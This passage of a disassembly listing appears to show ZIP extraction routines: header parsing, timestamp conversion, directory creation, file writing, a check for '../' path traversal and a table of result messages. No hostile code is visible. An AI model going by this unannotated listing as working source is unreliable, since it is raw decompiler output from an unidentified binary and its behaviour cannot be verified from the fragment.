mov edx, [ecx+10h] cmp edx, [ebp+arg_0] jge short loc_43034F mov eax, [ebp+var_1E8] mov ecx, [eax] push ecx call sub_42F4E1 add esp, 4 jmp short loc_43032C ; --------------------------------------------------------------------------- loc_43034F: ; CODE XREF: sub_4301DC+15Ej push 0 push 0 push 0 push 0 push 104h lea edx, [ebp+var_190] push edx lea eax, [ebp+var_58] push eax mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_42F444 add esp, 20h lea eax, [ebp+var_64] push eax lea ecx, [ebp+var_78] push ecx lea edx, [ebp+var_8C] push edx mov eax, [ebp+var_1E8] mov ecx, [eax] push ecx call sub_42F6BB add esp, 10h mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_4303AB mov eax, 700h jmp loc_430861 ; --------------------------------------------------------------------------- loc_4303AB: ; CODE XREF: sub_4301DC+1C3j push 0 mov edx, [ebp+var_78] push edx mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ecx] push edx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_4303D2 mov eax, 800h jmp loc_430861 ; --------------------------------------------------------------------------- loc_4303D2: ; CODE XREF: sub_4301DC+1EAj mov eax, [ebp+var_64] push eax call sub_431784 add esp, 4 mov [ebp+var_1C4], eax mov ecx, [ebp+var_1C4] mov [ebp+var_70], ecx mov edx, [ebp+var_1E8] mov eax, [edx] mov ecx, [eax] push ecx mov edx, [ebp+var_64] push edx push 1 mov eax, [ebp+var_70] push eax call sub_42E8A0 add esp, 10h cmp eax, [ebp+var_64] jz short loc_430431 mov ecx, [ebp+var_70] mov [ebp+var_1C8], ecx mov edx, [ebp+var_1C8] push edx call sub_43177E add esp, 4 mov eax, 800h jmp loc_430861 ; --------------------------------------------------------------------------- loc_430431: ; CODE XREF: sub_4301DC+231j mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ebp+arg_4] mov eax, [ecx+10h] mov [edx], eax lea ecx, [ebp+var_190] push ecx mov edx, [ebp+arg_4] add edx, 4 push edx call sub_4318B8 ; strcpy add esp, 8 mov eax, [ebp+var_24] mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 40000000h neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_88], cl mov edx, [ebp+var_8] and edx, 800000h neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_19C], dl mov eax, [ebp+var_8] and eax, 1 neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_198], al mov ecx, [ebp+var_8] and ecx, 2 neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_6C], cl mov edx, [ebp+var_8] and edx, 4 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_84], dl mov eax, [ebp+var_8] and eax, 10h neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_194], al mov ecx, [ebp+var_8] and ecx, 20h neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_4], cl mov edx, [ebp+arg_4] mov dword ptr [edx+108h], 80h mov eax, [ebp+var_88] and eax, 0FFh test eax, eax jnz short loc_430507 mov ecx, [ebp+var_194] and ecx, 0FFh test ecx, ecx jz short loc_43051B loc_430507: ; CODE XREF: sub_4301DC+319j mov edx, [ebp+arg_4] mov eax, [edx+108h] or al, 10h mov ecx, [ebp+arg_4] mov [ecx+108h], eax loc_43051B: ; CODE XREF: sub_4301DC+329j mov edx, [ebp+var_4] and edx, 0FFh test edx, edx jz short loc_43053D mov eax, [ebp+arg_4] mov ecx, [eax+108h] or ecx, 20h mov edx, [ebp+arg_4] mov [edx+108h], ecx loc_43053D: ; CODE XREF: sub_4301DC+34Aj mov eax, [ebp+var_6C] and eax, 0FFh test eax, eax jz short loc_43055E mov ecx, [ebp+arg_4] mov edx, [ecx+108h] or edx, 2 mov eax, [ebp+arg_4] mov [eax+108h], edx loc_43055E: ; CODE XREF: sub_4301DC+36Bj mov ecx, [ebp+var_19C] and ecx, 0FFh test ecx, ecx jz short loc_43057E mov edx, [ebp+var_198] and edx, 0FFh test edx, edx jz short loc_430593 loc_43057E: ; CODE XREF: sub_4301DC+390j mov eax, [ebp+arg_4] mov ecx, [eax+108h] or ecx, 1 mov edx, [ebp+arg_4] mov [edx+108h], ecx loc_430593: ; CODE XREF: sub_4301DC+3A0j mov eax, [ebp+var_84] and eax, 0FFh test eax, eax jz short loc_4305B7 mov ecx, [ebp+arg_4] mov edx, [ecx+108h] or edx, 4 mov eax, [ebp+arg_4] mov [eax+108h], edx loc_4305B7: ; CODE XREF: sub_4301DC+3C4j mov ecx, [ebp+arg_4] mov edx, [ebp+var_40] mov [ecx+124h], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_3C] mov [eax+128h], ecx mov edx, [ebp+var_48] and edx, 0FFFFh mov [ebp+var_80], dx mov eax, [ebp+var_48] shr eax, 10h and eax, 0FFFFh mov [ebp+var_68], ax lea ecx, [ebp+var_60] push ecx mov dx, [ebp+var_80] push edx mov ax, [ebp+var_68] push eax call dword_433090 ; DosDateTimeToFileTime mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+10Ch], edx mov eax, [ebp+var_5C] mov [ecx+110h], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+114h], edx mov eax, [ebp+var_5C] mov [ecx+118h], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_60] mov [ecx+11Ch], edx mov eax, [ebp+var_5C] mov [ecx+120h], eax mov [ebp+var_7C], 0 loc_430645: ; CODE XREF: sub_4301DC+4D4j mov ecx, [ebp+var_7C] add ecx, 4 cmp ecx, [ebp+var_64] jnb loc_430817 mov edx, [ebp+var_70] add edx, [ebp+var_7C] mov al, [edx] mov [ebp+var_1B4], al mov ecx, [ebp+var_70] add ecx, [ebp+var_7C] mov dl, [ecx+1] mov [ebp+var_1B3], dl mov [ebp+var_1B2], 0 mov eax, [ebp+var_70] add eax, [ebp+var_7C] movsx ecx, byte ptr [eax+2] mov [ebp+var_1A4], ecx push offset aUt ; "UT" lea edx, [ebp+var_1B4] push edx call sub_431914 ; strcmp add esp, 8 test eax, eax jz short loc_4306B2 mov eax, [ebp+var_1A4] mov ecx, [ebp+var_7C] lea edx, [ecx+eax+4] mov [ebp+var_7C], edx jmp short loc_430645 ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: sub_4301DC+4C2j mov eax, [ebp+var_70] add eax, [ebp+var_7C] movsx ecx, byte ptr [eax+4] mov [ebp+var_1A0], ecx mov edx, [ebp+var_1A0] and edx, 1 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_1A8], dl mov eax, [ebp+var_1A0] and eax, 2 neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_1B0], al mov ecx, [ebp+var_1A0] and ecx, 4 neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_1AC], cl mov edx, [ebp+var_7C] add edx, 5 mov [ebp+var_7C], edx mov eax, [ebp+var_1A8] and eax, 0FFh test eax, eax jz short loc_430766 mov ecx, [ebp+var_70] add ecx, [ebp+var_7C] mov edx, [ecx] mov [ebp+var_1B8], edx mov eax, [ebp+var_7C] add eax, 4 mov [ebp+var_7C], eax mov ecx, [ebp+var_1B8] push ecx call sub_4300B2 add esp, 4 mov [ebp+var_1D0], eax mov [ebp+var_1CC], edx mov edx, [ebp+arg_4] mov eax, [ebp+var_1D0] mov [edx+11Ch], eax mov ecx, [ebp+var_1CC] mov [edx+120h], ecx loc_430766: ; CODE XREF: sub_4301DC+53Bj mov edx, [ebp+var_1B0] and edx, 0FFh test edx, edx jz short loc_4307C3 mov eax, [ebp+var_70] add eax, [ebp+var_7C] mov ecx, [eax] mov [ebp+var_1BC], ecx mov edx, [ebp+var_7C] add edx, 4 mov [ebp+var_7C], edx mov eax, [ebp+var_1BC] push eax call sub_4300B2 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_1D4], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_1D8] mov [ecx+10Ch], edx mov eax, [ebp+var_1D4] mov [ecx+110h], eax loc_4307C3: ; CODE XREF: sub_4301DC+598j mov ecx, [ebp+var_1AC] and ecx, 0FFh test ecx, ecx jz short loc_430817 mov edx, [ebp+var_70] add edx, [ebp+var_7C] mov eax, [edx] mov [ebp+var_1C0], eax mov ecx, [ebp+var_1C0] push ecx call sub_4300B2 add esp, 4 mov [ebp+var_1E0], eax mov [ebp+var_1DC], edx mov edx, [ebp+arg_4] mov eax, [ebp+var_1E0] mov [edx+114h], eax mov ecx, [ebp+var_1DC] mov [edx+118h], ecx loc_430817: ; CODE XREF: sub_4301DC+472j ; sub_4301DC+5F5j cmp [ebp+var_70], 0 jz short loc_430835 mov edx, [ebp+var_70] mov [ebp+var_1E4], edx mov eax, [ebp+var_1E4] push eax call sub_43177E add esp, 4 loc_430835: ; CODE XREF: sub_4301DC+63Fj push 12Ch mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_1E8] add edx, 8 push edx call sub_4318C4 ; memcpy add esp, 0Ch mov eax, [ebp+var_1E8] mov ecx, [ebp+arg_0] mov [eax+134h], ecx xor eax, eax loc_430861: ; CODE XREF: sub_4301DC+2Aj ; sub_4301DC+8Dj ... mov esp, ebp pop ebp retn 8 sub_4301DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430867 proc near ; CODE XREF: TEUm:004314FCp ; TEUm:0043157Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] mov eax, [edx] push eax call sub_42F59A add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4308D5 cmp [ebp+arg_8], 0 jz short loc_4308AC mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh loc_4308AC: ; CODE XREF: sub_430867+3Aj cmp [ebp+arg_C], 0 jz short loc_4308CE push 12Ch push 0 mov edx, [ebp+arg_C] push edx call sub_4318B2 ; memset add esp, 0Ch mov eax, [ebp+arg_C] mov dword ptr [eax], 0FFFFFFFFh loc_4308CE: ; CODE XREF: sub_430867+49j mov eax, 500h jmp short loc_430935 ; --------------------------------------------------------------------------- loc_4308D5: ; CODE XREF: sub_430867+34j mov ecx, [ebp+var_10] cmp dword ptr [ecx+4], 0FFFFFFFFh jz short loc_4308EC mov edx, [ebp+var_10] mov eax, [edx] push eax call sub_42FF37 add esp, 4 loc_4308EC: ; CODE XREF: sub_430867+75j mov ecx, [ebp+var_10] mov dword ptr [ecx+4], 0FFFFFFFFh mov edx, [ebp+var_10] mov eax, [edx] mov ecx, [eax+10h] mov [ebp+var_8], ecx cmp [ebp+arg_8], 0 jz short loc_43090F mov edx, [ebp+arg_8] mov eax, [ebp+var_8] mov [edx], eax loc_43090F: ; CODE XREF: sub_430867+9Ej cmp [ebp+arg_C], 0 jz short loc_430933 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+var_8] push edx mov ecx, [ebp+var_10] call sub_4301DC mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_430933 mov eax, [ebp+var_C] jmp short loc_430935 ; --------------------------------------------------------------------------- loc_430933: ; CODE XREF: sub_430867+ACj ; sub_430867+C5j xor eax, eax loc_430935: ; CODE XREF: sub_430867+6Cj ; sub_430867+CAj mov esp, ebp pop ebp retn 10h sub_430867 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43093B proc near ; CODE XREF: sub_43093B+B4p ; sub_430A42+227p ... var_214 = byte ptr -214h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 214h cmp [ebp+arg_4], 0 jz short loc_430954 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_430959 loc_430954: ; CODE XREF: sub_43093B+Dj jmp loc_430A3E ; --------------------------------------------------------------------------- loc_430959: ; CODE XREF: sub_43093B+17j mov edx, [ebp+arg_4] mov [ebp+var_10C], edx mov eax, [ebp+var_10C] mov [ebp+var_4], eax loc_43096B: ; CODE XREF: sub_43093B+62j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_43099F mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Fh jz short loc_43098B mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_430994 loc_43098B: ; CODE XREF: sub_43093B+43j mov ecx, [ebp+var_4] mov [ebp+var_10C], ecx loc_430994: ; CODE XREF: sub_43093B+4Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_43096B ; --------------------------------------------------------------------------- loc_43099F: ; CODE XREF: sub_43093B+38j mov eax, [ebp+var_10C] mov [ebp+var_110], eax mov ecx, [ebp+var_10C] cmp ecx, [ebp+arg_4] jz short loc_430A06 mov edx, [ebp+var_10C] sub edx, [ebp+arg_4] push edx mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_214] push ecx call sub_422680 add esp, 0Ch mov edx, [ebp+var_10C] sub edx, [ebp+arg_4] mov [ebp+edx+var_214], 0 lea eax, [ebp+var_214] push eax mov ecx, [ebp+arg_0] push ecx call sub_43093B add esp, 8 mov edx, [ebp+var_110] add edx, 1 mov [ebp+var_110], edx loc_430A06: ; CODE XREF: sub_43093B+79j mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_108] push ecx call sub_4318B8 ; strcpy add esp, 8 mov edx, [ebp+var_110] push edx lea eax, [ebp+var_108] push eax call sub_4318D0 ; strcat add esp, 8 push 0 lea ecx, [ebp+var_108] push ecx call dword_433030 ; CreateDirectoryA loc_430A3E: ; CODE XREF: sub_43093B:loc_430954j mov esp, ebp pop ebp retn sub_43093B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A42 proc near ; CODE XREF: sub_431620+58p var_4264 = dword ptr -4264h var_4260 = dword ptr -4260h var_425C = dword ptr -425Ch var_4258 = byte ptr -4258h var_4251 = byte ptr -4251h var_4250 = byte ptr -4250h var_424F = byte ptr -424Fh var_414C = dword ptr -414Ch var_4148 = dword ptr -4148h var_4144 = dword ptr -4144h var_4140 = dword ptr -4140h var_413C = dword ptr -413Ch var_4138 = dword ptr -4138h var_4134 = dword ptr -4134h var_4130 = dword ptr -4130h var_412C = byte ptr -412Ch var_4128 = byte ptr -4128h var_4024 = dword ptr -4024h var_4020 = byte ptr -4020h var_4018 = byte ptr -4018h var_4010 = byte ptr -4010h var_4000 = byte ptr -4000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 4264h call sub_431860 push ebx push esi mov [ebp+var_4260], ecx cmp [ebp+arg_C], 3 jz short loc_430A73 cmp [ebp+arg_C], 2 jz short loc_430A73 cmp [ebp+arg_C], 1 jz short loc_430A73 mov eax, 10000h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430A73: ; CODE XREF: sub_430A42+19j ; sub_430A42+1Fj ... cmp [ebp+arg_C], 3 jnz loc_430B9E mov eax, [ebp+var_4260] mov ecx, [ebp+arg_0] cmp ecx, [eax+4] jz loc_430B34 mov edx, [ebp+var_4260] cmp dword ptr [edx+4], 0FFFFFFFFh jz short loc_430AAC mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42FF37 add esp, 4 loc_430AAC: ; CODE XREF: sub_430A42+57j mov edx, [ebp+var_4260] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+4] jl short loc_430AD3 mov eax, 10000h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430AD3: ; CODE XREF: sub_430A42+85j mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+10h] jge short loc_430AF4 mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42F473 add esp, 4 loc_430AF4: ; CODE XREF: sub_430A42+9Fj ; sub_430A42+D3j mov edx, [ebp+var_4260] mov eax, [edx] mov ecx, [eax+10h] cmp ecx, [ebp+arg_0] jge short loc_430B17 mov edx, [ebp+var_4260] mov eax, [edx] push eax call sub_42F4E1 add esp, 4 jmp short loc_430AF4 ; --------------------------------------------------------------------------- loc_430B17: ; CODE XREF: sub_430A42+C0j mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_42F940 add esp, 4 mov eax, [ebp+var_4260] mov ecx, [ebp+arg_0] mov [eax+4], ecx loc_430B34: ; CODE XREF: sub_430A42+47j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_42FB02 add esp, 0Ch mov [ebp+var_4140], eax cmp [ebp+var_4140], 0 jle short loc_430B66 mov eax, 600h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430B66: ; CODE XREF: sub_430A42+118j mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42FF37 add esp, 4 mov edx, [ebp+var_4260] mov dword ptr [edx+4], 0FFFFFFFFh cmp [ebp+var_4140], 0 jnz short loc_430B94 xor eax, eax jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430B94: ; CODE XREF: sub_430A42+149j mov eax, 5000000h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430B9E: ; CODE XREF: sub_430A42+35j mov eax, [ebp+var_4260] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_430BBB mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_42FF37 add esp, 4 loc_430BBB: ; CODE XREF: sub_430A42+166j mov eax, [ebp+var_4260] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_4260] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+4] jl short loc_430BE2 mov eax, 10000h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430BE2: ; CODE XREF: sub_430A42+194j mov ecx, [ebp+var_4260] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+10h] jge short loc_430C03 mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_42F473 add esp, 4 loc_430C03: ; CODE XREF: sub_430A42+1AEj ; sub_430A42+1E2j mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ecx+10h] cmp edx, [ebp+arg_0] jge short loc_430C26 mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42F4E1 add esp, 4 jmp short loc_430C03 ; --------------------------------------------------------------------------- loc_430C26: ; CODE XREF: sub_430A42+1CFj lea edx, [ebp+var_412C] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4260] call sub_4301DC mov ecx, [ebp+var_4024] and ecx, 10h test ecx, ecx jz short loc_430C78 cmp [ebp+arg_C], 1 jnz short loc_430C56 xor eax, eax jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430C56: ; CODE XREF: sub_430A42+20Bj lea edx, [ebp+var_4128] push edx mov eax, [ebp+var_4260] add eax, 138h push eax call sub_43093B add esp, 8 xor eax, eax jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430C78: ; CODE XREF: sub_430A42+205j cmp [ebp+arg_C], 1 jnz short loc_430C8C mov ecx, [ebp+arg_4] mov [ebp+var_4134], ecx jmp loc_430DFE ; --------------------------------------------------------------------------- loc_430C8C: ; CODE XREF: sub_430A42+23Aj mov edx, [ebp+arg_4] mov [ebp+var_4148], edx mov eax, [ebp+var_4148] mov [ebp+var_4144], eax loc_430CA1: ; CODE XREF: sub_430A42+2A6j mov ecx, [ebp+var_4144] movsx edx, byte ptr [ecx] test edx, edx jz short loc_430CEA mov eax, [ebp+var_4144] movsx ecx, byte ptr [eax] cmp ecx, 2Fh jz short loc_430CCA mov edx, [ebp+var_4144] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_430CD9 loc_430CCA: ; CODE XREF: sub_430A42+278j mov ecx, [ebp+var_4144] add ecx, 1 mov [ebp+var_4148], ecx loc_430CD9: ; CODE XREF: sub_430A42+286j mov edx, [ebp+var_4144] add edx, 1 mov [ebp+var_4144], edx jmp short loc_430CA1 ; --------------------------------------------------------------------------- loc_430CEA: ; CODE XREF: sub_430A42+26Aj mov eax, [ebp+var_4148] cmp eax, [ebp+arg_4] jz loc_430DDA mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_4250] push edx call sub_4318B8 ; strcpy add esp, 8 mov eax, [ebp+var_4148] sub eax, [ebp+arg_4] mov [ebp+eax+var_4251], 0 movsx ecx, [ebp+var_4250] cmp ecx, 2Fh jz short loc_430D4D movsx edx, [ebp+var_4250] cmp edx, 5Ch jz short loc_430D4D movsx eax, [ebp+var_424F] cmp eax, 3Ah jz short loc_430D4D mov [ebp+var_4264], 0 jmp short loc_430D57 ; --------------------------------------------------------------------------- loc_430D4D: ; CODE XREF: sub_430A42+2E5j ; sub_430A42+2F1j ... mov [ebp+var_4264], 1 loc_430D57: ; CODE XREF: sub_430A42+309j mov cl, byte ptr [ebp+var_4264] mov byte ptr [ebp+var_414C], cl mov ebx, [ebp+var_414C] and ebx, 0FFh push offset a__ ; "../" lea edx, [ebp+var_4250] push edx call sub_431730 add esp, 8 mov esi, eax neg esi sbb esi, esi neg esi push offset a___0 ; "..\\" lea eax, [ebp+var_4250] push eax call sub_431730 add esp, 8 neg eax sbb eax, eax neg eax or esi, eax or ebx, esi mov byte ptr [ebp+var_414C], bl mov ecx, [ebp+var_414C] and ecx, 0FFh test ecx, ecx jnz short loc_430DDA lea edx, [ebp+var_4250] push edx mov eax, [ebp+var_4260] add eax, 138h push eax call sub_43093B add esp, 8 loc_430DDA: ; CODE XREF: sub_430A42+2B1j ; sub_430A42+37Bj push 0 mov ecx, [ebp+var_4024] push ecx push 2 push 0 push 0 push 40000000h mov edx, [ebp+arg_4] push edx call dword_433018 ; CreateFileA mov [ebp+var_4134], eax loc_430DFE: ; CODE XREF: sub_430A42+245j cmp [ebp+var_4134], 0FFFFFFFFh jnz short loc_430E11 mov eax, 200h jmp loc_430F50 ; --------------------------------------------------------------------------- loc_430E11: ; CODE XREF: sub_430A42+3C3j mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42F940 add esp, 4 mov byte ptr [ebp+var_4138], 0 loc_430E29: ; CODE XREF: sub_430A42:loc_430EA5j push 4000h lea edx, [ebp+var_4000] push edx mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_42FB02 add esp, 0Ch mov [ebp-4254h], eax cmp dword ptr [ebp-4254h], 0 jge short loc_430E5E mov byte ptr [ebp+var_4138], 1 jmp short loc_430EA7 ; --------------------------------------------------------------------------- loc_430E5E: ; CODE XREF: sub_430A42+411j cmp dword ptr [ebp-4254h], 0 jnz short loc_430E69 jmp short loc_430EA7 ; --------------------------------------------------------------------------- loc_430E69: ; CODE XREF: sub_430A42+423j push 0 lea edx, [ebp+var_4258] push edx mov eax, [ebp-4254h] push eax lea ecx, [ebp+var_4000] push ecx mov edx, [ebp+var_4134] push edx call dword_433050 ; WriteFile mov [ebp+var_425C], eax cmp [ebp+var_425C], 0 jnz short loc_430EA5 mov byte ptr [ebp+var_4138], 1 jmp short loc_430EA7 ; --------------------------------------------------------------------------- loc_430EA5: ; CODE XREF: sub_430A42+458j jmp short loc_430E29 ; --------------------------------------------------------------------------- loc_430EA7: ; CODE XREF: sub_430A42+41Aj ; sub_430A42+425j ... mov byte ptr [ebp+var_413C], 0 mov eax, [ebp+var_4134] push eax call dword_4330A0 ; GetFileType mov [ebp+var_4130], eax cmp [ebp+var_4130], 1 jnz short loc_430EE1 mov ecx, [ebp+var_4138] and ecx, 0FFh test ecx, ecx jnz short loc_430EE1 mov byte ptr [ebp+var_413C], 1 loc_430EE1: ; CODE XREF: sub_430A42+486j ; sub_430A42+496j mov edx, [ebp+var_413C] and edx, 0FFh test edx, edx jz short loc_430F13 lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_4020] push ecx lea edx, [ebp+var_4018] push edx mov eax, [ebp+var_4134] push eax call dword_43308C ; SetFileTime loc_430F13: ; CODE XREF: sub_430A42+4ADj cmp [ebp+arg_C], 1 jz short loc_430F26 mov ecx, [ebp+var_4134] push ecx call dword_433020 ; CloseHandle loc_430F26: ; CODE XREF: sub_430A42+4D5j mov edx, [ebp+var_4260] mov eax, [edx] push eax call sub_42FF37 add esp, 4 mov ecx, [ebp+var_4138] and ecx, 0FFh test ecx, ecx jz short loc_430F4E mov eax, 400h jmp short loc_430F50 ; --------------------------------------------------------------------------- loc_430F4E: ; CODE XREF: sub_430A42+503j xor eax, eax loc_430F50: ; CODE XREF: sub_430A42+2Cj ; sub_430A42+8Cj ... pop esi pop ebx mov esp, ebp pop ebp retn 10h sub_430A42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430F58 proc near ; CODE XREF: sub_43168B+48p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_430F76 mov ecx, [ebp+var_4] mov edx, [ecx] push edx call sub_42FF37 add esp, 4 loc_430F76: ; CODE XREF: sub_430F58+Ej mov eax, [ebp+var_4] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz short loc_430F96 mov edx, [ebp+var_4] mov eax, [edx] push eax call sub_42EF38 add esp, 4 loc_430F96: ; CODE XREF: sub_430F58+2Ej mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 xor eax, eax mov esp, ebp pop ebp retn sub_430F58 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h cmp dword ptr [ebp+8], 1 jnz short loc_430FB9 mov eax, ds:dword_43BD44 mov [ebp+8], eax loc_430FB9: ; CODE XREF: TEUm:00430FAFj mov dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result code" mov ecx, [ebp+8] mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 20000h ja loc_43108E cmp dword ptr [ebp-10h], 20000h jz loc_4311B4 cmp dword ptr [ebp-10h], 500h ja short loc_431047 cmp dword ptr [ebp-10h], 500h jz loc_43117B cmp dword ptr [ebp-10h], 200h ja short loc_431028 cmp dword ptr [ebp-10h], 200h jz loc_431157 cmp dword ptr [ebp-10h], 0 jz loc_43113F cmp dword ptr [ebp-10h], 100h jz loc_43114B jmp loc_43120C ; --------------------------------------------------------------------------- loc_431028: ; CODE XREF: TEUm:00430FFDj cmp dword ptr [ebp-10h], 300h jz loc_431163 cmp dword ptr [ebp-10h], 400h jz loc_43116F jmp loc_43120C ; --------------------------------------------------------------------------- loc_431047: ; CODE XREF: TEUm:00430FE7j cmp dword ptr [ebp-10h], 800h ja short loc_43107C cmp dword ptr [ebp-10h], 800h jz loc_431199 cmp dword ptr [ebp-10h], 600h jz loc_431187 cmp dword ptr [ebp-10h], 700h jz loc_431190 jmp loc_43120C ; --------------------------------------------------------------------------- loc_43107C: ; CODE XREF: TEUm:0043104Ej cmp dword ptr [ebp-10h], 10000h jz loc_4311A2 jmp loc_43120C ; --------------------------------------------------------------------------- loc_43108E: ; CODE XREF: TEUm:00430FCDj cmp dword ptr [ebp-10h], 80000h ja short loc_4310F8 cmp dword ptr [ebp-10h], 80000h jz loc_4311D8 cmp dword ptr [ebp-10h], 50000h ja short loc_4310D9 cmp dword ptr [ebp-10h], 50000h jz loc_4311CF cmp dword ptr [ebp-10h], 30000h jz loc_4311BD cmp dword ptr [ebp-10h], 40000h jz loc_4311C6 jmp loc_43120C ; --------------------------------------------------------------------------- loc_4310D9: ; CODE XREF: TEUm:004310ABj cmp dword ptr [ebp-10h], 60000h jz loc_4311F3 cmp dword ptr [ebp-10h], 70000h jz loc_4311AB jmp loc_43120C ; --------------------------------------------------------------------------- loc_4310F8: ; CODE XREF: TEUm:00431095j cmp dword ptr [ebp-10h], 4000000h ja short loc_43112D cmp dword ptr [ebp-10h], 4000000h jz loc_4311FC cmp dword ptr [ebp-10h], 1000000h jz loc_4311E1 cmp dword ptr [ebp-10h], 2000000h jz loc_4311EA jmp loc_43120C ; --------------------------------------------------------------------------- loc_43112D: ; CODE XREF: TEUm:004310FFj cmp dword ptr [ebp-10h], 5000000h jz loc_431205 jmp loc_43120C ; --------------------------------------------------------------------------- loc_43113F: ; CODE XREF: TEUm:00431010j mov dword ptr [ebp-8], offset aSuccess ; "Success" jmp loc_43120C ; --------------------------------------------------------------------------- loc_43114B: ; CODE XREF: TEUm:0043101Dj mov dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle" jmp loc_43120C ; --------------------------------------------------------------------------- loc_431157: ; CODE XREF: TEUm:00431006j mov dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file" jmp loc_43120C ; --------------------------------------------------------------------------- loc_431163: ; CODE XREF: TEUm:0043102Fj mov dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate memory" jmp loc_43120C ; --------------------------------------------------------------------------- loc_43116F: ; CODE XREF: TEUm:0043103Cj mov dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file" jmp loc_43120C ; --------------------------------------------------------------------------- loc_43117B: ; CODE XREF: TEUm:00430FF0j mov dword ptr [ebp-8], offset aFileNotFoundIn ; "File not 